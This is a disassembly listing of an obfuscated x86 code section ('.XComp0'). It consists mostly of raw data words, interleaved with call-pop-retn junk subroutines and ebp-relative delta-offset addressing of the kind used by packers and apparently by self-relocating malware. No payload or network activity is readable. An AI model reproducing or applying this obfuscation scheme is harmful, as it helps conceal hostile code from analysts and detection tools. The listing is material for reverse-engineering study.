		dd 5FCFC21h, 35840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0B331C352h
		dd 1589CE0Eh, 8B176339h, 0F91645BDh, 21E905h, 9D890000h
		dd 5F9066Dh, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 57C08B00h, 2E29BD8Bh, 8B5F05F9h, 0F904BDBDh,	0FDBD8305h
		dd 305F900h, 463850Fh, 85090000h, 5F9183Dh, 0FC21BD83h
		dd 0F0005FCh, 45084h, 11E900h, 406D0000h, 567BABD1h, 8D936AA2h
		dd 0A7332619h, 8B66E1FFh, 0F91F159Dh, 21B5FF05h, 6A05FCFCh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 7DABC353h, 2211B529h, 0BD8B05F9h,	5F9256Dh
		dd 1AAD95FFh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0DF7A34C3h, 0BD036DD6h, 5F92E69h
		dd 0EE85C5BBh, 15B58B39h, 6A05FCFCh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0BDD3C355h
		dd 60F0F3ACh, 1135858Bh, 5E905F9h, 0E2000000h, 0C1196ECBh
		dd 106C761h, 8B000100h,	0F924F5BDh, 52509605h, 0FF98B66h
		dd 5E95731h, 9D000000h,	42D8E53Eh, 50585A5Bh, 0F81B560h
		dd 0B8Eh, 5E800h, 0D1E60000h, 5898AAD1h, 0FE8A9661h, 0FC21B5FFh
		dd 0D88B05FCh, 95FFF98Bh, 5F92729h, 8BFABF0Fh, 0FCFC15B5h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0E60084FBh, 0CE925F1h, 0C000000h, 0CE5484BFh
		dd 430F7D37h, 8BC23C41h, 0F9180985h, 8D9D2905h,	8905F91Eh
		dd 0C486h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 9EB7B242h, 958B49E2h, 5F90CDDh, 4259D89h
		dd 0C28305F9h, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0CEBE5755h, 20508979h
		dd 2DD98589h, 0CE805F9h, 0EE000000h, 9E33EF33h,	1DAE6E06h
		dd 8B7BC45Bh, 858D5FDAh, 5FD10E9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0FEC35040h,	80D584EEh, 0B88689h
		dd 8D290000h, 5F91611h,	8B66006Ah, 21B5FFD9h, 6A05FCFCh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 8EB1C353h, 414DD3F2h, 6D9D8966h, 0FF05F901h
		dd 0F9009995h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0F7CBD160h, 89606026h
		dd 0F93155BDh, 0C78B6605h, 8D296161h, 5F91609h,	66575096h
		dd 5F9FDFBBh, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0BF853A9Bh, 78B37F55h, 10E8h, 176FEE00h
		dd 9FE96530h, 86192DD6h, 80646015h, 6820FC9h, 8B000000h
		dd 0F9002DBDh, 0B5FF5B05h, 5FCFC21h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 92C35646h, 0E9BB694Bh, 7, 8C3BD170h
		dd 0FF27FFBDh, 0F9356995h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 8B1B090Eh
		dd 0F5BD8378h, 5F917h, 5E840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 7F03F4C3h
		dd 50396C1Ch, 15FBEDBFh, 2434894Eh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 3AC35343h, 807909ECh, 1931BD33h
		dd 0B70F05F9h, 58E0FD8h, 60000000h, 61F85E50h, 0FC21B5FFh
		dd 6A05FCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 818377C3h, 7AA451E5h, 0F08FBAFh, 98Ah, 3840F00h
		dd 80000000h, 95FF51E3h, 5F92E6Dh, 0FF60DF80h, 0FCFC21B5h
		dd 0FB8B6605h, 21DD95FFh, 6A05F9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 5C3B81C3h, 0DE850h, 0EA2A0000h
		dd 77E6DE3Ah, 1D814B0Ah, 0BBA98004h, 3FA53B87h,	2DBD835Bh
		dd 205F90Ah, 3E840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 5777A9C3h, 8B66D7B0h
		dd 858BFCF8h, 5F91151h,	6E9h, 6B026B00h, 0C6DAF1B5h, 0B5090000h
		dd 5F92515h, 331985C7h,	5F9h, 6E90000h,	0AF000000h, 4DE17498h
		dd 0F341E977h, 0E381FFFFh, 3138647Ah, 6AC18Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0A81717C3h, 0A0572732h, 14E9h, 6A830A00h, 0C366C00Ah
		dd 0A705F5BFh, 0FEEAF651h, 0FF7DE742h, 0C1858DE7h, 6A05F90Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0E292C352h, 0BA2EE2B5h, 0E8BB5088h, 5, 0B5A850FFh
		dd 0E414BB90h, 0E85F2B0Bh, 11h,	1722D79h, 148F4134h, 5D27D830h
		dd 0B04E0433h, 259D33E4h, 5F05F90Dh, 0BE890h, 95EC0000h
		dd 3E2D8D5Fh, 79CF6D75h, 28E0F9Eh, 57000000h, 0E9505B5Fh
		dd 0Ah,	135C2CB9h, 7AF74F49h, 8B904E30h, 0F916F9BDh, 6A006A05h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 9799C356h, 0ED9450FBh, 6A006A69h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0F31BC353h, 12CD8D01h, 8D2905F9h, 5F91F65h, 858DDA8Bh
		dd 5FE2AF2h, 0DE36BF66h, 6A05C083h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8908C355h
		dd 0F9179195h, 5D9D2B05h, 5005F92Ah, 0DA8B5250h, 0BF66310Fh
		dd 585A17B9h, 0BF240489h, 3C4C2BA9h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9EE84BC3h
		dd 13E92Dh, 88680000h, 0BB9BA3CEh, 665A310Fh, 1170B245h
		dd 998D13E0h, 0FF006A10h, 0F913ED95h, 0FA8B6605h, 0E9838D8Dh
		dd 9D8905FCh, 5F921BDh,	6AD1FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 3AF621C3h, 0BD83D3D2h
		dd 5F91785h, 54850F01h,	0E9000000h, 0Ah, 38F2A5B0h, 209E853Bh
		dd 26ACFECh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	83C35141h, 34FCE1F5h, 0F9B39012h, 0CC68BF50h, 0E9903558h
		dd 7, 0B2C1CEB6h, 0FF4FB834h, 0F9009995h, 0E1853105h, 0E905F92Dh
		dd 0E22h, 0E8h,	0ED815D00h, 5FE2AFCh, 0EE9h, 83F19C00h
		dd 0AEDEF25Bh, 374E550Dh, 663641FDh, 8DB97BBBh,	0FCD97C85h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 89C60A68h, 0F92505BDh, 0DB816605h, 0BE950F2h
		dd 25000000h, 0C1968396h, 0AC9E592Ah, 895058CAh, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 6C4F38C3h, 0F6829602h, 0BD8BB625h, 5F90B65h,	35FF64h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 623BC357h, 0E2A47975h,	10E8DB47h
		dd 40000000h, 0D4C5961Fh, 6095FFFBh, 87B272E4h,	319E9C70h
		dd 0F91EC18Dh, 89645B05h, 25h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0AE380F4Ch
		dd 95337C87h, 68A0F7Ch,	1000000h, 0F9135D9Dh, 0FFDA8B05h
		dd 0F9197D85h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 5C09E9E7h, 91990DEh, 0F9255995h
		dd 3605605h, 0F913419Dh, 8E905h, 37B10000h, 0DA602B86h
		dd 5B61591Eh, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0BBFE8EC3h, 25C1D4BEh, 16DDB5FFh
		dd 0B58905F9h, 5F9184Dh, 91195FFh, 0CE905F9h, 60000001h
		dd 16D9958Bh, 800F05F9h, 6, 13818531h, 0B06105F9h, 0B1852900h
		dd 0E605F928h, 8B575270h, 0F91B2D9Dh, 0E45B5F05h, 3810F71h
		dd 66000000h, 613CDE8Bh, 0D1830Fh, 7E90000h, 84000000h
		dd 0E6578DB9h, 0B5294E6Eh, 5F921A1h, 0BAC8B60Fh, 6, 4018531h
		dd 958905F9h, 5F92ED5h,	6E8C18Bh, 49000000h, 48AA617Dh
		dd 0E8C15F08h, 0E5BD8904h, 6605F90Dh, 0C82BE2F7h, 5E9h
		dd 0E33DB200h, 0D18B6369h, 852DBB66h, 7AE9h, 0D5CB8000h
		dd 8BFB8B66h, 185h, 759D8B00h, 8305F91Eh, 9D8B07C0h, 5F92E4Dh
		dd 0E800C083h, 8, 8AA06A51h, 0A572C9DDh, 895F67B7h, 0F90C25BDh
		dd 0FD03B05h, 0A83h, 39E900h, 81660000h, 8B1B6BCFh, 0FFFFFF8Dh
		dd 0D9B70FFFh, 0F01E183h, 2284h, 0F8BF0F00h, 83F98B66h
		dd 0FFFFFFA5h, 8166FEFFh, 891467E7h, 195h, 0E7ABBB00h
		dd 0E94C33h, 8D000000h,	0FDA25BB5h, 5E95205h, 3E000000h
		dd 7DE923F2h, 0C59D8B5Fh, 6A05F933h, 95FFF900h,	5F91AEDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 6AC35343h
		dd 1F8988D9h, 0B9F88B66h, 0ECCh, 837ADF80h, 6AFCE1h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0BB5E27C3h, 3DBD8B60h, 0FC05F921h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0A6C35141h,	199B696Bh, 1B037074h
		dd 0DF815395h, 50BD5437h, 0D8B70F5Fh, 0B8h, 0CFDB8000h
		dd 8509D22Bh, 5F90D81h,	0ADFB8B66h, 0E8D1C233h,	0E983D003h
		dd 51F47504h, 32DDBD29h, 6A5F05F9h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 7723C352h
		dd 9D9C85A1h, 0DF0B782h, 88h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 83C35141h, 37C2E05Ah, 958B5C61h
		dd 5F90CDDh, 3239BD89h,	8D8B05F9h, 5F926C1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7FC35545h, 0BFC22014h
		dd 0BFBF32Bh, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 85095818h, 5F91995h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0A2C35242h, 9C39C401h, 0E85B83F1h, 9
		dd 0FF2D348Dh, 0BEEA36D7h, 0E1BD236Bh, 5F05F920h, 1159BD83h
		dd 0F0005F9h, 5984h, 0B85F5600h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5BE547
; ---------------------------------------------------------------------------
		db 4Ah,	51h, 43h
		dd 0EA6C57E3h, 0BD1DF00Ch, 0F31FC306h
; ---------------------------------------------------------------------------
		cmc
		rol	dword ptr [esi], 1


loc_5BE547:				; CODE XREF: .XComp0:005BE530j
		lea	ecx, [ebp+5F94EE8h]
		push	0
		push	eax
		call	sub_5BE558
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE558	proc near		; CODE XREF: .XComp0:005BE550p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5BE558	endp

; ---------------------------------------------------------------------------
		dd 0D5D099CDh, 3CCDCDC4h, 8D9D8B2Eh, 8B05F92Eh,	0F916C1BDh
		dd 0FE1FF05h, 0BD83D9B7h, 5F900FDh, 96840F00h, 6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0F7EC356h, 0BD83F9BFh, 5F900FDh, 85840F01h
		dd 80000004h, 0BD8384C7h, 5F900FDh, 3F860F03h, 66000004h
		dd 0F60FE8Bh, 48Ah, 5FBB6600h, 55C9BB53h, 8C6614D8h, 52006AD9h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 8E0D11C7h, 22AFEB76h, 6D9D233Ah, 2305F92Ah, 0F927F1BDh
		dd 4E18005h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0CAC35747h, 12CB16CBh, 41A6F984h, 68E0F09h, 89000000h
		dd 0F9138D85h, 0FC90A05h, 13A84h, 13E900h, 9FCD0000h, 0D8158E6Ah
		dd 3C666312h, 27110199h, 0FBEA64Ch, 99858B7Ah, 6A05F925h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 2C89C353h, 42D8533h, 6A05F9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B5E0A3C3h
		dd 8AC30358h, 699D8B7Eh, 0F05F912h, 68Ah, 0A5852900h, 9005F92Ch
		dd 0BED6BF60h, 5BB7301Eh, 0E9605061h, 0Ch, 126C7F9h, 3B035060h
		dd 0CB48E3A6h, 5E9h, 4D4E0B00h,	9061B68Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B7C35343h, 3E3EB4h
		dd 0C78FD781h, 6A467Ch,	0F1F38166h, 0FB726824h,	0F98B1E99h
		dd 8D243481h, 6A1E86F8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 56A9C350h, 0F34A67F0h
		dd 2AC595FFh, 9E805F9h,	0D9000000h, 532A43A2h, 0B6C2D9D4h
		dd 7E8h, 9CC33D00h, 3B500863h, 16D9D8Bh, 5F5F05F9h, 0FC218589h
		dd 9D8B05FCh, 5F90DC9h,	1C4E9h,	0ED858900h, 8B05F925h
		dd 0FCFC1985h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 7AD72360h, 0FC67210h
		dd 787h, 0DEBF6000h, 6177EFECh,	1800C7h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B58B9CC3h, 5FCFC1Dh, 858BBAB3h, 5F92B89h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 8EC35141h, 0BD8B668Dh
		dd 5F90B45h, 0AEF8BF66h, 689FE8Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0A9C35242h,	2D6FE43Bh, 0EB816298h
		dd 29DCE9ECh, 2599858Bh, 6A05F9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E85D26C3h, 10h, 2194847Fh
		dd 631233Ah, 559498CFh,	0D56CD88Fh, 4D78166h, 0B70F5F4Ch
		dd 44689FAh, 6BF38166h,	0FEBB965Bh, 5072FDA6h, 6A96DE8Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0DA3C357h, 0FF1DB3F8h, 0FCFC19B5h, 0DE8B6605h
		dd 26F26668h, 0BF666018h, 810FC937h, 4,	539EBE66h, 24348161h
		dd 1839F199h, 21858DFCh, 6A05FCFCh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0BF4C351h
		dd 50501AD2h, 0B5F5BF52h, 310F2602h, 0B7A9BF66h, 489585Ah
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 24E94841h, 81F8A9A3h, 3BFF78E7h,	0C595FF51h
		dd 8B05F92Ah, 0F920E99Dh, 6A6105h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 1238B3C3h, 219D0983h
		dd 8B05F91Fh, 0FD85C7FEh, 305F900h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0DAE9C356h, 0BBC4C85Dh, 22F3BE8Eh, 0FC21BD83h, 0F0005FCh
		dd 6184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0E4BF913h, 669E4336h, 232EC781h
		dd 6E9h, 0E7A9C400h, 0E90835EAh, 45h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0AEC35141h,	0C8144765h, 809F8395h
		dd 1E71BD8Bh, 305005F9h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0FFB70FC0h, 31298D29h,	0BD8305F9h
		dd 5F900FDh, 5E850F03h,	6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 76EFC356h
		dd 81D88B1Ah, 0DD2BB2EFh, 21BD8338h, 5FCFCh, 42B840Fh
		dd 0BB660000h, 0B5FF8927h, 5FCFC21h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 99C35040h, 0E16F68EBh, 9DE8B66h
		dd 0F9163995h, 0F19D8B05h, 0FF05F91Eh, 0F91AAD95h, 12E805h
		dd 6E550000h, 65B31643h, 0E5D0494Ah, 3802067Ah,	0A43070ABh
		dd 5BFA8B66h, 0FC15B58Bh, 6A05FCh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 93624C3h, 0A02CBD53h
		dd 106C7h, 880F0001h, 3, 96FB8B66h, 0D18B6660h,	2F72BE66h
		dd 0B7BB5061h, 961031E7h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 93C35646h, 966BB505h,	0FC21B5FFh, 6A05FCh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8A0FBBC3h, 2, 0B70F0DB7h, 2995FFDEh,	2905F927h, 0F92505B5h
		dd 15B58B05h, 0FC05FCFCh, 0A45BD8Bh, 858B05F9h,	5F91809h
		dd 9B37D781h, 81666B4Bh, 891DACDFh, 0C486h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 38E1194Eh, 18EE0A00h, 0E9F88B66h, 8,	0CECF0C57h, 0E4B3E738h
		dd 5D5BD8Bh, 958B05F9h,	5F90CDDh, 6004C283h, 1B5AF781h
		dd 0B70F4692h, 0DE861F1h, 9B000000h, 0FE54348Eh, 79356584h
		dd 310AC5E4h, 0DF816650h, 5F5B56DAh, 81205089h,	0AD3382DBh
		dd 0E9858D31h, 6A05FD10h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0BBB5C352h,	31057FFBh
		dd 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 96A9B5C3h, 5886D2DFh, 6A006A7Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8B7BC350h, 21B5FFFAh, 6A05FCFCh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 47F9C356h, 74B843F8h, 0DE8B98C1h, 2810Fh, 0F88A0000h
		dd 73DF8166h, 9995FF0Fh, 6A05F900h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4730C355h
		dd 31858B60h, 5005F920h, 61596160h, 0EFBF6696h,	8B605079h
		dd 6A9661D9h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0B041C356h, 0B70FA011h, 21B5FFDBh
		dd 8905FCFCh, 0F908D595h, 6995FF05h, 6A05F935h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0FA38C355h
		dd 0BD8326CAh, 5F917F5h, 34840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 98F9C350h, 44CCDB8Eh, 0EDBD89E8h, 5005F926h,	3489DF8Bh
		dd 15BD2924h, 0FF05F927h, 0FCFC21B5h, 31BD8905h, 0E905F915h
		dd 6, 126F0364h, 95FF0AE0h, 5F92E6Dh, 7219D0Bh,	0B5FF05F9h
		dd 5FCFC21h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0E8C35646h, 0CF76CA2Ah,	0E9B69C08h, 0Ch, 0B9631B21h
		dd 94F7B62h, 1710C54Ah,	21DD95FFh, 6E805F9h, 0C7000000h
		dd 0EFD7BEBEh, 7BBB6677h, 0BD835BFFh, 5F90A2Dh,	61840F02h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0CAB2C353h, 0ED502A6Eh, 6BBB776Dh
		dd 204D8589h, 0F98B05F9h, 1151858Bh, 858905F9h,	5F92B41h
		dd 6A0000C6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 440DC355h, 8D89020Bh, 5F912A1h
		dd 331985C7h, 5F9h, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 170424h, 51410000h, 100544C3h, 8D8960D7h
		dd 5F900B9h, 27159531h,	606105F9h, 0E3B1D281h, 0E8810A27h
		dd 0D65B46Ch, 0F362E961h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 9D0179C3h, 5F90009h
		dd 8B0FC18Bh, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+5F906BDh]
		lea	eax, [ebp+5F90DC1h]
		push	0
		push	ebx
		call	sub_5BEF17
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEF17	proc near		; CODE XREF: .XComp0:005BEF0Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5BEF17	endp

; ---------------------------------------------------------------------------
		lodsd
		sbb	[eax+60F9A44Eh], dh
		xor	[ebp+5F91235h],	eax
		mov	ebx, [ebp+5F9218Dh]
		popa
		nop
		jmp	loc_5BEF4A
; ---------------------------------------------------------------------------
		inc	dword ptr [ebp+edi*8+0]
		pop	ecx
		xor	al, 99h
		mov	esi, edi


loc_5BEF4A:				; CODE XREF: .XComp0:005BEF3Cj
		push	eax
		mov	bx, 365h
		nop
		push	0
		push	esi
		call	sub_5BEF5B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEF5B	proc near		; CODE XREF: .XComp0:005BEF53p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5BEF5B	endp

; ---------------------------------------------------------------------------
		leave
		add	[ebp-5D94BE08h], dh
		lodsd
		mov	ebx, [ebp+5F904A1h]
		mov	ebx, [ebp+5F900CDh]
		or	ebx, 1274F114h
		push	0
		push	0
		push	edx
		call	sub_5BEF92
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEF92	proc near		; CODE XREF: .XComp0:005BEF8Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5BEF92	endp

; ---------------------------------------------------------------------------
		dw 2BC1h
; ---------------------------------------------------------------------------
		add	eax, 0AFED2ADDh
		mov	ah, 0D6h
		and	al, 8Bh
		mov	ebp, 5F90D0Dh
		jmp	loc_5BEFCA
; ---------------------------------------------------------------------------
		db 2Eh
		dd 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h, 0A0D823D3h
; ---------------------------------------------------------------------------
		test	al, 25h


loc_5BEFCA:				; CODE XREF: .XComp0:005BEFB2j
		push	0
		push	edx
		mov	ebx, [ebp+5F900F5h]
		pop	edi
		lea	eax, [ebp+5FE3B6Bh]
		push	0
		push	ebp
		call	sub_5BEFE5
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEFE5	proc near		; CODE XREF: .XComp0:005BEFDDp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5BEFE5	endp

; ---------------------------------------------------------------------------
		db 4, 14h, 0D7h
		dd 5C08375h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	6BC35646h, 58164671h, 0AC76E9AAh, 1AB19501h, 0E95005F9h
		dd 6, 9C3CBBCAh, 489A5AAh, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0FC164247h
		dd 0EEEA863h, 0D9D8B60h, 905F917h, 0F92A5195h, 6A6105h
		dd 11259D2Bh, 6A05F9h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 42C35141h, 0D98ACEF3h, 13ED95FFh, 8D8D05F9h
		dd 5FCE983h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	78C35343h, 8B150C05h, 0F926E19Dh, 0F98B6605h, 6E9D1FFh
		dd 24000000h, 4AFE220Bh, 85BD8334h, 105F917h, 7A850Fh
		dd 9E90000h, 0C8000000h, 52A1DAA5h, 172D3CFAh, 0BF0F026Ah
		dd 8E0F90FFh, 8, 0F525050h, 5F585A31h, 6A9050h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0CF9E3AC3h, 0AD4039A0h, 0BD8B1085h, 5F90CD5h, 95DBD29h
		dd 95FF05F9h, 5F90099h,	0DE860h, 0E2920000h, 0BA2EE2B5h
		dd 62BB5088h, 8B794AF5h, 0F920CD9Dh, 81665A05h,	610C02F2h
		dd 0CE2E9h, 0E800h, 815D0000h, 0FE3B75EDh, 5830F05h, 66000000h
		dd 42FEDF81h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	0FEC35646h, 13C71C48h, 36F01F0Ah, 0B7C38166h, 7C858D4Bh
		dd 6A05FCD9h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0B900C353h, 0D5A73991h, 0E9505E41h
		dd 7, 928C5A97h, 8949B85Eh, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 247A13C3h
		dd 83B8483Ah, 35FF6450h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5BF20B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF20B	proc near		; CODE XREF: .XComp0:005BF203p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BF20B	endp

; ---------------------------------------------------------------------------
		push	89646B8Eh
		and	eax, 0
		push	0
		push	edi
		call	sub_5BF230
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF230	proc near		; CODE XREF: .XComp0:005BF228p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5BF230	endp

; ---------------------------------------------------------------------------
		dd 1ED562DBh, 7C09C9E2h, 359589ADh, 0E805F925h,	5, 6606665Dh
		dd 895FF9B9h, 0F92D9585h, 7D85FF05h, 0BB05F919h, 78F2A29Ah
		dd 8AFF6AF5h, 71B5FFF9h, 6A05F917h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 23BCC353h
		dd 59FDFF53h, 8166EF0Fh, 0FF1CA9C3h, 0F9091195h, 103E905h
